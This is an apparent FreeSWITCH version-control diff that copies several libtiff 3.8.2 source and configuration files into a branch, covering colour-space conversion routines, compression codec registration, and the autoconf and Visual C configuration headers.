+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_color.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,275 @@
+/* $Id: tif_color.c,v 1.12 2006/02/09 15:42:20 dron Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * CIE L*a*b* to CIE XYZ and CIE XYZ to RGB conversion routines are taken
+ * from the VIPS library (http://www.vips.ecs.soton.ac.uk) with
+ * the permission of John Cupitt, the VIPS author.
+ */
+
+/*
+ * TIFF Library.
+ *
+ * Color space conversion routines.
+ */
+
+#include "tiffiop.h"
+#include <math.h>
+
+/*
+ * Convert color value from the CIE L*a*b* 1976 space to CIE XYZ.
+ */
+void
+TIFFCIELabToXYZ(TIFFCIELabToRGB *cielab, uint32 l, int32 a, int32 b,
+		float *X, float *Y, float *Z)
+{
+	float L = (float)l * 100.0F / 255.0F;
+	float cby, tmp;
+
+	if( L < 8.856F ) {
+		*Y = (L * cielab->Y0) / 903.292F;
+		cby = 7.787F * (*Y / cielab->Y0) + 16.0F / 116.0F;
+	} else {
+		cby = (L + 16.0F) / 116.0F;
+		*Y = cielab->Y0 * cby * cby * cby;
+	}
+
+	tmp = (float)a / 500.0F + cby;
+	if( tmp < 0.2069F )
+		*X = cielab->X0 * (tmp - 0.13793F) / 7.787F;
+	else    
+		*X = cielab->X0 * tmp * tmp * tmp;
+
+	tmp = cby - (float)b / 200.0F;
+	if( tmp < 0.2069F )
+		*Z = cielab->Z0 * (tmp - 0.13793F) / 7.787F;
+	else    
+		*Z = cielab->Z0 * tmp * tmp * tmp;
+}
+
+#define RINT(R) ((uint32)((R)>0?((R)+0.5):((R)-0.5)))
+/*
+ * Convert color value from the XYZ space to RGB.
+ */
+void
+TIFFXYZToRGB(TIFFCIELabToRGB *cielab, float X, float Y, float Z,
+	     uint32 *r, uint32 *g, uint32 *b)
+{
+	int i;
+	float Yr, Yg, Yb;
+	float *matrix = &cielab->display.d_mat[0][0];
+
+	/* Multiply through the matrix to get luminosity values. */
+	Yr =  matrix[0] * X + matrix[1] * Y + matrix[2] * Z;
+	Yg =  matrix[3] * X + matrix[4] * Y + matrix[5] * Z;
+	Yb =  matrix[6] * X + matrix[7] * Y + matrix[8] * Z;
+
+	/* Clip input */
+	Yr = TIFFmax(Yr, cielab->display.d_Y0R);
+	Yg = TIFFmax(Yg, cielab->display.d_Y0G);
+	Yb = TIFFmax(Yb, cielab->display.d_Y0B);
+
+	/* Avoid overflow in case of wrong input values */
+	Yr = TIFFmin(Yr, cielab->display.d_YCR);
+	Yg = TIFFmin(Yg, cielab->display.d_YCG);
+	Yb = TIFFmin(Yb, cielab->display.d_YCB);
+
+	/* Turn luminosity to colour value. */
+	i = (int)((Yr - cielab->display.d_Y0R) / cielab->rstep);
+	i = TIFFmin(cielab->range, i);
+	*r = RINT(cielab->Yr2r[i]);
+
+	i = (int)((Yg - cielab->display.d_Y0G) / cielab->gstep);
+	i = TIFFmin(cielab->range, i);
+	*g = RINT(cielab->Yg2g[i]);
+
+	i = (int)((Yb - cielab->display.d_Y0B) / cielab->bstep);
+	i = TIFFmin(cielab->range, i);
+	*b = RINT(cielab->Yb2b[i]);
+
+	/* Clip output. */
+	*r = TIFFmin(*r, cielab->display.d_Vrwr);
+	*g = TIFFmin(*g, cielab->display.d_Vrwg);
+	*b = TIFFmin(*b, cielab->display.d_Vrwb);
+}
+#undef RINT
+
+/* 
+ * Allocate conversion state structures and make look_up tables for
+ * the Yr,Yb,Yg <=> r,g,b conversions.
+ */
+int
+TIFFCIELabToRGBInit(TIFFCIELabToRGB* cielab,
+		    TIFFDisplay *display, float *refWhite)
+{
+	int i;
+	double gamma;
+
+	cielab->range = CIELABTORGB_TABLE_RANGE;
+
+	_TIFFmemcpy(&cielab->display, display, sizeof(TIFFDisplay));
+
+	/* Red */
+	gamma = 1.0 / cielab->display.d_gammaR ;
+	cielab->rstep =
+		(cielab->display.d_YCR - cielab->display.d_Y0R)	/ cielab->range;
+	for(i = 0; i <= cielab->range; i++) {
+		cielab->Yr2r[i] = cielab->display.d_Vrwr
+		    * ((float)pow((double)i / cielab->range, gamma));
+	}
+
+	/* Green */
+	gamma = 1.0 / cielab->display.d_gammaG ;
+	cielab->gstep =
+	    (cielab->display.d_YCR - cielab->display.d_Y0R) / cielab->range;
+	for(i = 0; i <= cielab->range; i++) {
+		cielab->Yg2g[i] = cielab->display.d_Vrwg
+		    * ((float)pow((double)i / cielab->range, gamma));
+	}
+
+	/* Blue */
+	gamma = 1.0 / cielab->display.d_gammaB ;
+	cielab->bstep =
+	    (cielab->display.d_YCR - cielab->display.d_Y0R) / cielab->range;
+	for(i = 0; i <= cielab->range; i++) {
+		cielab->Yb2b[i] = cielab->display.d_Vrwb
+		    * ((float)pow((double)i / cielab->range, gamma));
+	}
+
+	/* Init reference white point */
+	cielab->X0 = refWhite[0];
+	cielab->Y0 = refWhite[1];
+	cielab->Z0 = refWhite[2];
+
+	return 0;
+}
+
+/* 
+ * Convert color value from the YCbCr space to CIE XYZ.
+ * The colorspace conversion algorithm comes from the IJG v5a code;
+ * see below for more information on how it works.
+ */
+#define	SHIFT			16
+#define	FIX(x)			((int32)((x) * (1L<<SHIFT) + 0.5))
+#define	ONE_HALF		((int32)(1<<(SHIFT-1)))
+#define	Code2V(c, RB, RW, CR)	((((c)-(int32)(RB))*(float)(CR))/(float)(((RW)-(RB)) ? ((RW)-(RB)) : 1))
+#define	CLAMP(f,min,max)	((f)<(min)?(min):(f)>(max)?(max):(f))
+#define HICLAMP(f,max)		((f)>(max)?(max):(f))
+
+void
+TIFFYCbCrtoRGB(TIFFYCbCrToRGB *ycbcr, uint32 Y, int32 Cb, int32 Cr,
+	       uint32 *r, uint32 *g, uint32 *b)
+{
+	/* XXX: Only 8-bit YCbCr input supported for now */
+	Y = HICLAMP(Y, 255), Cb = CLAMP(Cb, 0, 255), Cr = CLAMP(Cr, 0, 255);
+
+	*r = ycbcr->clamptab[ycbcr->Y_tab[Y] + ycbcr->Cr_r_tab[Cr]];
+	*g = ycbcr->clamptab[ycbcr->Y_tab[Y]
+	    + (int)((ycbcr->Cb_g_tab[Cb] + ycbcr->Cr_g_tab[Cr]) >> SHIFT)];
+	*b = ycbcr->clamptab[ycbcr->Y_tab[Y] + ycbcr->Cb_b_tab[Cb]];
+}
+
+/*
+ * Initialize the YCbCr->RGB conversion tables.  The conversion
+ * is done according to the 6.0 spec:
+ *
+ *    R = Y + Cr*(2 - 2*LumaRed)
+ *    B = Y + Cb*(2 - 2*LumaBlue)
+ *    G =   Y
+ *        - LumaBlue*Cb*(2-2*LumaBlue)/LumaGreen
+ *        - LumaRed*Cr*(2-2*LumaRed)/LumaGreen
+ *
+ * To avoid floating point arithmetic the fractional constants that
+ * come out of the equations are represented as fixed point values
+ * in the range 0...2^16.  We also eliminate multiplications by
+ * pre-calculating possible values indexed by Cb and Cr (this code
+ * assumes conversion is being done for 8-bit samples).
+ */
+int
+TIFFYCbCrToRGBInit(TIFFYCbCrToRGB* ycbcr, float *luma, float *refBlackWhite)
+{
+    TIFFRGBValue* clamptab;
+    int i;
+    
+#define LumaRed	    luma[0]
+#define LumaGreen   luma[1]
+#define LumaBlue    luma[2]
+
+    clamptab = (TIFFRGBValue*)(
+	(tidata_t) ycbcr+TIFFroundup(sizeof (TIFFYCbCrToRGB), sizeof (long)));
+    _TIFFmemset(clamptab, 0, 256);		/* v < 0 => 0 */
+    ycbcr->clamptab = (clamptab += 256);
+    for (i = 0; i < 256; i++)
+	clamptab[i] = (TIFFRGBValue) i;
+    _TIFFmemset(clamptab+256, 255, 2*256);	/* v > 255 => 255 */
+    ycbcr->Cr_r_tab = (int*) (clamptab + 3*256);
+    ycbcr->Cb_b_tab = ycbcr->Cr_r_tab + 256;
+    ycbcr->Cr_g_tab = (int32*) (ycbcr->Cb_b_tab + 256);
+    ycbcr->Cb_g_tab = ycbcr->Cr_g_tab + 256;
+    ycbcr->Y_tab = ycbcr->Cb_g_tab + 256;
+
+    { float f1 = 2-2*LumaRed;		int32 D1 = FIX(f1);
+      float f2 = LumaRed*f1/LumaGreen;	int32 D2 = -FIX(f2);
+      float f3 = 2-2*LumaBlue;		int32 D3 = FIX(f3);
+      float f4 = LumaBlue*f3/LumaGreen;	int32 D4 = -FIX(f4);
+      int x;
+
+#undef LumaBlue
+#undef LumaGreen
+#undef LumaRed
+      
+      /*
+       * i is the actual input pixel value in the range 0..255
+       * Cb and Cr values are in the range -128..127 (actually
+       * they are in a range defined by the ReferenceBlackWhite
+       * tag) so there is some range shifting to do here when
+       * constructing tables indexed by the raw pixel data.
+       */
+      for (i = 0, x = -128; i < 256; i++, x++) {
+	    int32 Cr = (int32)Code2V(x, refBlackWhite[4] - 128.0F,
+			    refBlackWhite[5] - 128.0F, 127);
+	    int32 Cb = (int32)Code2V(x, refBlackWhite[2] - 128.0F,
+			    refBlackWhite[3] - 128.0F, 127);
+
+	    ycbcr->Cr_r_tab[i] = (int32)((D1*Cr + ONE_HALF)>>SHIFT);
+	    ycbcr->Cb_b_tab[i] = (int32)((D3*Cb + ONE_HALF)>>SHIFT);
+	    ycbcr->Cr_g_tab[i] = D2*Cr;
+	    ycbcr->Cb_g_tab[i] = D4*Cb + ONE_HALF;
+	    ycbcr->Y_tab[i] =
+		    (int32)Code2V(x + 128, refBlackWhite[0], refBlackWhite[1], 255);
+      }
+    }
+
+    return 0;
+}
+#undef	HICLAMP
+#undef	CLAMP
+#undef	Code2V
+#undef	SHIFT
+#undef	ONE_HALF
+#undef	FIX
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_compress.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_compress.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_compress.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_compress.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_compress.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,286 @@
+/* $Id: tif_compress.c,v 1.11 2005/12/21 12:23:13 joris Exp $ */
+
+/*
+ * Copyright (c) 1988-1997 Sam Leffler
+ * Copyright (c) 1991-1997 Silicon Graphics, Inc.
+ *
+ * Permission to use, copy, modify, distribute, and sell this software and 
+ * its documentation for any purpose is hereby granted without fee, provided
+ * that (i) the above copyright notices and this permission notice appear in
+ * all copies of the software and related documentation, and (ii) the names of
+ * Sam Leffler and Silicon Graphics may not be used in any advertising or
+ * publicity relating to the software without the specific, prior written
+ * permission of Sam Leffler and Silicon Graphics.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+ * EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+ * WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+ * 
+ * IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+ * ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+ * OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+ * WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+ * LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+ * OF THIS SOFTWARE.
+ */
+
+/*
+ * TIFF Library
+ *
+ * Compression Scheme Configuration Support.
+ */
+#include "tiffiop.h"
+
+static int
+TIFFNoEncode(TIFF* tif, const char* method)
+{
+	const TIFFCodec* c = TIFFFindCODEC(tif->tif_dir.td_compression);
+
+	if (c) { 
+			TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%s %s encoding is not implemented",
+                          c->name, method);
+	} else { 
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+			  "Compression scheme %u %s encoding is not implemented",
+		    tif->tif_dir.td_compression, method);
+	}
+	return (-1);
+}
+
+int
+_TIFFNoRowEncode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) pp; (void) cc; (void) s;
+	return (TIFFNoEncode(tif, "scanline"));
+}
+
+int
+_TIFFNoStripEncode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) pp; (void) cc; (void) s;
+	return (TIFFNoEncode(tif, "strip"));
+}
+
+int
+_TIFFNoTileEncode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) pp; (void) cc; (void) s;
+	return (TIFFNoEncode(tif, "tile"));
+}
+
+static int
+TIFFNoDecode(TIFF* tif, const char* method)
+{
+	const TIFFCodec* c = TIFFFindCODEC(tif->tif_dir.td_compression);
+
+	if (c)
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name, "%s %s decoding is not implemented",
+		    c->name, method);
+	else
+		TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+		    "Compression scheme %u %s decoding is not implemented",
+		    tif->tif_dir.td_compression, method);
+	return (-1);
+}
+
+int
+_TIFFNoRowDecode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) pp; (void) cc; (void) s;
+	return (TIFFNoDecode(tif, "scanline"));
+}
+
+int
+_TIFFNoStripDecode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) pp; (void) cc; (void) s;
+	return (TIFFNoDecode(tif, "strip"));
+}
+
+int
+_TIFFNoTileDecode(TIFF* tif, tidata_t pp, tsize_t cc, tsample_t s)
+{
+	(void) pp; (void) cc; (void) s;
+	return (TIFFNoDecode(tif, "tile"));
+}
+
+int
+_TIFFNoSeek(TIFF* tif, uint32 off)
+{
+	(void) off;
+	TIFFErrorExt(tif->tif_clientdata, tif->tif_name,
+	    "Compression algorithm does not support random access");
+	return (0);
+}
+
+int
+_TIFFNoPreCode(TIFF* tif, tsample_t s)
+{
+	(void) tif; (void) s;
+	return (1);
+}
+
+static int _TIFFtrue(TIFF* tif) { (void) tif; return (1); }
+static void _TIFFvoid(TIFF* tif) { (void) tif; }
+
+void
+_TIFFSetDefaultCompressionState(TIFF* tif)
+{
+	tif->tif_decodestatus = TRUE;
+	tif->tif_setupdecode = _TIFFtrue;
+	tif->tif_predecode = _TIFFNoPreCode;
+	tif->tif_decoderow = _TIFFNoRowDecode;
+	tif->tif_decodestrip = _TIFFNoStripDecode;
+	tif->tif_decodetile = _TIFFNoTileDecode;
+	tif->tif_encodestatus = TRUE;
+	tif->tif_setupencode = _TIFFtrue;
+	tif->tif_preencode = _TIFFNoPreCode;
+	tif->tif_postencode = _TIFFtrue;
+	tif->tif_encoderow = _TIFFNoRowEncode;
+	tif->tif_encodestrip = _TIFFNoStripEncode;
+	tif->tif_encodetile = _TIFFNoTileEncode;
+	tif->tif_close = _TIFFvoid;
+	tif->tif_seek = _TIFFNoSeek;
+	tif->tif_cleanup = _TIFFvoid;
+	tif->tif_defstripsize = _TIFFDefaultStripSize;
+	tif->tif_deftilesize = _TIFFDefaultTileSize;
+	tif->tif_flags &= ~TIFF_NOBITREV;
+}
+
+int
+TIFFSetCompressionScheme(TIFF* tif, int scheme)
+{
+	const TIFFCodec *c = TIFFFindCODEC((uint16) scheme);
+
+	_TIFFSetDefaultCompressionState(tif);
+	/*
+	 * Don't treat an unknown compression scheme as an error.
+	 * This permits applications to open files with data that
+	 * the library does not have builtin support for, but which
+	 * may still be meaningful.
+	 */
+	return (c ? (*c->init)(tif, scheme) : 1);
+}
+
+/*
+ * Other compression schemes may be registered.  Registered
+ * schemes can also override the builtin versions provided
+ * by this library.
+ */
+typedef struct _codec {
+	struct _codec*	next;
+	TIFFCodec*	info;
+} codec_t;
+static	codec_t* registeredCODECS = NULL;
+
+const TIFFCodec*
+TIFFFindCODEC(uint16 scheme)
+{
+	const TIFFCodec* c;
+	codec_t* cd;
+
+	for (cd = registeredCODECS; cd; cd = cd->next)
+		if (cd->info->scheme == scheme)
+			return ((const TIFFCodec*) cd->info);
+	for (c = _TIFFBuiltinCODECS; c->name; c++)
+		if (c->scheme == scheme)
+			return (c);
+	return ((const TIFFCodec*) 0);
+}
+
+TIFFCodec*
+TIFFRegisterCODEC(uint16 scheme, const char* name, TIFFInitMethod init)
+{
+	codec_t* cd = (codec_t*)
+	    _TIFFmalloc(sizeof (codec_t) + sizeof (TIFFCodec) + strlen(name)+1);
+
+	if (cd != NULL) {
+		cd->info = (TIFFCodec*) ((tidata_t) cd + sizeof (codec_t));
+		cd->info->name = (char*)
+		    ((tidata_t) cd->info + sizeof (TIFFCodec));
+		strcpy(cd->info->name, name);
+		cd->info->scheme = scheme;
+		cd->info->init = init;
+		cd->next = registeredCODECS;
+		registeredCODECS = cd;
+	} else {
+		TIFFErrorExt(0, "TIFFRegisterCODEC",
+		    "No space to register compression scheme %s", name);
+		return NULL;
+	}
+	return (cd->info);
+}
+
+void
+TIFFUnRegisterCODEC(TIFFCodec* c)
+{
+	codec_t* cd;
+	codec_t** pcd;
+
+	for (pcd = &registeredCODECS; (cd = *pcd); pcd = &cd->next)
+		if (cd->info == c) {
+			*pcd = cd->next;
+			_TIFFfree(cd);
+			return;
+		}
+	TIFFErrorExt(0, "TIFFUnRegisterCODEC",
+	    "Cannot remove compression scheme %s; not registered", c->name);
+}
+
+/************************************************************************/
+/*                       TIFFGetConfisuredCODECs()                      */
+/************************************************************************/
+
+/**
+ * Get list of configured codecs, both built-in and registered by user.
+ * Caller is responsible to free this structure.
+ * 
+ * @return returns array of TIFFCodec records (the last record should be NULL)
+ * or NULL if function failed.
+ */
+
+TIFFCodec*
+TIFFGetConfiguredCODECs()
+{
+	int		i = 1;
+        codec_t		*cd;
+        const TIFFCodec	*c;
+	TIFFCodec	*codecs = NULL, *new_codecs;
+
+        for (cd = registeredCODECS; cd; cd = cd->next) {
+                new_codecs = (TIFFCodec *)
+			_TIFFrealloc(codecs, i * sizeof(TIFFCodec));
+		if (!new_codecs) {
+			_TIFFfree (codecs);
+			return NULL;
+		}
+		codecs = new_codecs;
+		_TIFFmemcpy(codecs + i - 1, cd, sizeof(TIFFCodec));
+		i++;
+	}
+        for (c = _TIFFBuiltinCODECS; c->name; c++) {
+                if (TIFFIsCODECConfigured(c->scheme)) {
+                        new_codecs = (TIFFCodec *)
+				_TIFFrealloc(codecs, i * sizeof(TIFFCodec));
+			if (!new_codecs) {
+				_TIFFfree (codecs);
+				return NULL;
+			}
+			codecs = new_codecs;
+			_TIFFmemcpy(codecs + i - 1, (const tdata_t)c, sizeof(TIFFCodec));
+			i++;
+		}
+	}
+
+	new_codecs = (TIFFCodec *) _TIFFrealloc(codecs, i * sizeof(TIFFCodec));
+	if (!new_codecs) {
+		_TIFFfree (codecs);
+		return NULL;
+	}
+	codecs = new_codecs;
+	_TIFFmemset(codecs + i - 1, 0, sizeof(TIFFCodec));
+
+        return codecs;
+}
+
+/* vim: set ts=8 sts=8 sw=8 noet: */

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_config.h.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,260 @@
+/* libtiff/tif_config.h.in.  Generated from configure.ac by autoheader.  */
+
+/* Support CCITT Group 3 & 4 algorithms */
+#undef CCITT_SUPPORT
+
+/* Pick up YCbCr subsampling info from the JPEG data stream to support files
+   lacking the tag (default enabled). */
+#undef CHECK_JPEG_YCBCR_SUBSAMPLING
+
+/* Support C++ stream API (requires C++ compiler) */
+#undef CXX_SUPPORT
+
+/* Treat extra sample as alpha (default enabled). The RGBA interface will
+   treat a fourth sample with no EXTRASAMPLE_ value as being ASSOCALPHA. Many
+   packages produce RGBA files but don't mark the alpha properly. */
+#undef DEFAULT_EXTRASAMPLE_AS_ALPHA
+
+/* Use the Apple OpenGL framework. */
+#undef HAVE_APPLE_OPENGL_FRAMEWORK
+
+/* Define to 1 if you have the <assert.h> header file. */
+#undef HAVE_ASSERT_H
+
+/* Define to 1 if you have the <dlfcn.h> header file. */
+#undef HAVE_DLFCN_H
+
+/* Define to 1 if you have the <fcntl.h> header file. */
+#undef HAVE_FCNTL_H
+
+/* Define to 1 if you have the `floor' function. */
+#undef HAVE_FLOOR
+
+/* Define to 1 if you have the `getopt' function. */
+#undef HAVE_GETOPT
+
+/* Define as 0 or 1 according to the floating point format suported by the
+   machine */
+#undef HAVE_IEEEFP
+
+/* Define to 1 if the system has the type `int16'. */
+#undef HAVE_INT16
+
+/* Define to 1 if the system has the type `int32'. */
+#undef HAVE_INT32
+
+/* Define to 1 if the system has the type `int8'. */
+#undef HAVE_INT8
+
+/* Define to 1 if you have the <inttypes.h> header file. */
+#undef HAVE_INTTYPES_H
+
+/* Define to 1 if you have the `isascii' function. */
+#undef HAVE_ISASCII
+
+/* Define to 1 if you have the `lfind' function. */
+#undef HAVE_LFIND
+
+/* Define to 1 if you have the `c' library (-lc). */
+#undef HAVE_LIBC
+
+/* Define to 1 if you have the `m' library (-lm). */
+#undef HAVE_LIBM
+
+/* Define to 1 if you have the <limits.h> header file. */
+#undef HAVE_LIMITS_H
+
+/* Define to 1 if you have the <malloc.h> header file. */
+#undef HAVE_MALLOC_H
+
+/* Define to 1 if you have the `memmove' function. */
+#undef HAVE_MEMMOVE
+
+/* Define to 1 if you have the <memory.h> header file. */
+#undef HAVE_MEMORY_H
+
+/* Define to 1 if you have the `memset' function. */
+#undef HAVE_MEMSET
+
+/* Define to 1 if you have the `mmap' function. */
+#undef HAVE_MMAP
+
+/* Define to 1 if you have the `pow' function. */
+#undef HAVE_POW
+
+/* Define if you have POSIX threads libraries and header files. */
+#undef HAVE_PTHREAD
+
+/* Define to 1 if you have the <search.h> header file. */
+#undef HAVE_SEARCH_H
+
+/* Define to 1 if you have the `sqrt' function. */
+#undef HAVE_SQRT
+
+/* Define to 1 if you have the <stdint.h> header file. */
+#undef HAVE_STDINT_H
+
+/* Define to 1 if you have the <stdlib.h> header file. */
+#undef HAVE_STDLIB_H
+
+/* Define to 1 if you have the `strcasecmp' function. */
+#undef HAVE_STRCASECMP
+
+/* Define to 1 if you have the `strchr' function. */
+#undef HAVE_STRCHR
+
+/* Define to 1 if you have the <strings.h> header file. */
+#undef HAVE_STRINGS_H
+
+/* Define to 1 if you have the <string.h> header file. */
+#undef HAVE_STRING_H
+
+/* Define to 1 if you have the `strrchr' function. */
+#undef HAVE_STRRCHR
+
+/* Define to 1 if you have the `strstr' function. */
+#undef HAVE_STRSTR
+
+/* Define to 1 if you have the `strtol' function. */
+#undef HAVE_STRTOL
+
+/* Define to 1 if you have the `strtoul' function. */
+#undef HAVE_STRTOUL
+
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#undef HAVE_SYS_STAT_H
+
+/* Define to 1 if you have the <sys/time.h> header file. */
+#undef HAVE_SYS_TIME_H
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#undef HAVE_SYS_TYPES_H
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#undef HAVE_UNISTD_H
+
+/* Define to 1 if you have the <windows.h> header file. */
+#undef HAVE_WINDOWS_H
+
+/* Native cpu byte order: 1 if big-endian (Motorola) or 0 if little-endian
+   (Intel) */
+#undef HOST_BIGENDIAN
+
+/* Set the native cpu bit order (FILLORDER_LSB2MSB or FILLORDER_MSB2LSB) */
+#undef HOST_FILLORDER
+
+/* Support JPEG compression (requires IJG JPEG library) */
+#undef JPEG_SUPPORT
+
+/* Support LogLuv high dynamic range encoding */
+#undef LOGLUV_SUPPORT
+
+/* Define to the sub-directory in which libtool stores uninstalled libraries.
+   */
+#undef LT_OBJDIR
+
+/* Support LZW algorithm */
+#undef LZW_SUPPORT
+
+/* Support Microsoft Document Imaging format */
+#undef MDI_SUPPORT
+
+/* Support NeXT 2-bit RLE algorithm */
+#undef NEXT_SUPPORT
+
+/* Define to 1 if your C compiler doesn't accept -c and -o together. */
+#undef NO_MINUS_C_MINUS_O
+
+/* Support Old JPEG compresson (read contrib/ojpeg/README first! Compilation
+   fails with unpatched IJG JPEG library) */
+#undef OJPEG_SUPPORT
+
+/* Name of package */
+#undef PACKAGE
+
+/* Define to the address where bug reports for this package should be sent. */
+#undef PACKAGE_BUGREPORT
+
+/* Define to the full name of this package. */
+#undef PACKAGE_NAME
+
+/* Define to the full name and version of this package. */
+#undef PACKAGE_STRING
+
+/* Define to the one symbol short name of this package. */
+#undef PACKAGE_TARNAME
+
+/* Define to the version of this package. */
+#undef PACKAGE_VERSION
+
+/* Support Macintosh PackBits algorithm */
+#undef PACKBITS_SUPPORT
+
+/* Support Pixar log-format algorithm (requires Zlib) */
+#undef PIXARLOG_SUPPORT
+
+/* Define to necessary symbol if this constant uses a non-standard name on
+   your system. */
+#undef PTHREAD_CREATE_JOINABLE
+
+/* The size of a `int', as computed by sizeof. */
+#undef SIZEOF_INT
+
+/* The size of a `long', as computed by sizeof. */
+#undef SIZEOF_LONG
+
+/* Define to 1 if you have the ANSI C header files. */
+#undef STDC_HEADERS
+
+/* Support strip chopping (whether or not to convert single-strip uncompressed
+   images to mutiple strips of specified size to reduce memory usage) */
+#undef STRIPCHOP_DEFAULT
+
+/* Default size of the strip in bytes (when strip chopping enabled) */
+#undef STRIP_SIZE_DEFAULT
+
+/* Enable SubIFD tag (330) support */
+#undef SUBIFD_SUPPORT
+
+/* Support ThunderScan 4-bit RLE algorithm */
+#undef THUNDER_SUPPORT
+
+/* Define to 1 if you can safely include both <sys/time.h> and <time.h>. */
+#undef TIME_WITH_SYS_TIME
+
+/* Define to 1 if your <sys/time.h> declares `struct tm'. */
+#undef TM_IN_SYS_TIME
+
+/* Version number of package */
+#undef VERSION
+
+/* Define to 1 if your processor stores words with the most significant byte
+   first (like Motorola and SPARC, unlike Intel and VAX). */
+#undef WORDS_BIGENDIAN
+
+/* Define to 1 if the X Window System is missing or not being used. */
+#undef X_DISPLAY_MISSING
+
+/* Support Deflate compression */
+#undef ZIP_SUPPORT
+
+/* Number of bits in a file offset, on hosts where this is settable. */
+#undef _FILE_OFFSET_BITS
+
+/* Define for large files, on AIX-style hosts. */
+#undef _LARGE_FILES
+
+/* Define to empty if `const' does not conform to ANSI C. */
+#undef const
+
+/* Define to `__inline__' or `__inline' if that's what the C compiler
+   calls it, or to nothing if 'inline' is not supported under any name.  */
+#ifndef __cplusplus
+#undef inline
+#endif
+
+/* Define to `long' if <sys/types.h> does not define. */
+#undef off_t
+
+/* Define to `unsigned' if <sys/types.h> does not define. */
+#undef size_t

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.vc

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.vc (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/libtiff/tif_config.h.vc) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.vc	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/libtiff/tif_config.h.vc	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+/* Define to 1 if you have the <assert.h> header file. */
+#define HAVE_ASSERT_H 1
+
+/* Define to 1 if you have the <fcntl.h> header file. */
+#define HAVE_FCNTL_H 1
+
+/* Define as 0 or 1 according to the floating point format suported by the
+   machine */
+#define HAVE_IEEEFP 1
+
+/* Define to 1 if you have the <string.h> header file. */
+#define HAVE_STRING_H 1
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#define HAVE_SYS_TYPES_H 1
+
+/* Define to 1 if you have the <io.h> header file. */
+#define HAVE_IO_H 1
+
+/* Define to 1 if you have the <search.h> header file. */
+#define HAVE_SEARCH_H 1
+
+/* The size of a `int', as computed by sizeof. */
+#define SIZEOF_INT 4
+
+/* The size of a `long', as computed by sizeof. */
+#define SIZEOF_LONG 4
+
+/* Set the native cpu bit order */
+#define HOST_FILLORDER FILLORDER_LSB2MSB
+
